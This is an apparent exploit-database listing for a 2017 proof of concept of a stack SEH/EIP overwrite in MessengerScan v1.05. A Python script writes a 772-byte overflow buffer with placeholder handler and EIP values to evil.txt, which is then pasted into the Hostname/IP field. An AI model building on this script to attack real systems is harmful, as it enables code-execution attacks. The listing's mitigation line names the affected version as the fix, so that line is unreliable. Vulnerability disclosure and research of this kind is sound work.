MessengerScan v1.05 Hostname/IP Field SEH/EIP Overwrite POC

vendor:

MessengerScan

by:

Anurag Srivastava

7,8

CVSS

HIGH

SEH Overwrite POC

N/A

CWE

Product Name: MessengerScan

Affected Version From: 1.05

Affected Version To: 1.05

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Ultimate x64bit

2017

MessengerScan v1.05 Hostname/IP Field SEH/EIP Overwrite POC

MessengerScan v1.05 is vulnerable to SEH/EIP Overwrite POC. The vulnerability is triggered when the contents of the evil.txt file is copied and pasted in the Hostname/IP Field. The SEH chain of main thread is corrupted and the offset to the SEH is 772. The address to the Handler Code is 'B'*4, the junk is 'C'*12 and the address to the EIP is 'D'*4.

Mitigation:

Upgrade to the latest version of MessengerScan v1.05

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : MessengerScan v1.05 Hostname/IP Field SEH/EIP Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/messengerscan.aspx#
# Tested Version    : 1.05
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Ultimate x64bit 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH is 772
buffer = "A"*772
# Address to the Handler Code
seh = "B"*4
#Junk 
junk = "C"*12
# Address to the EIP
eip = "D"*4
f = open("evil.txt", "wb")
f.write(buffer+seh+junk+eip)
f.close()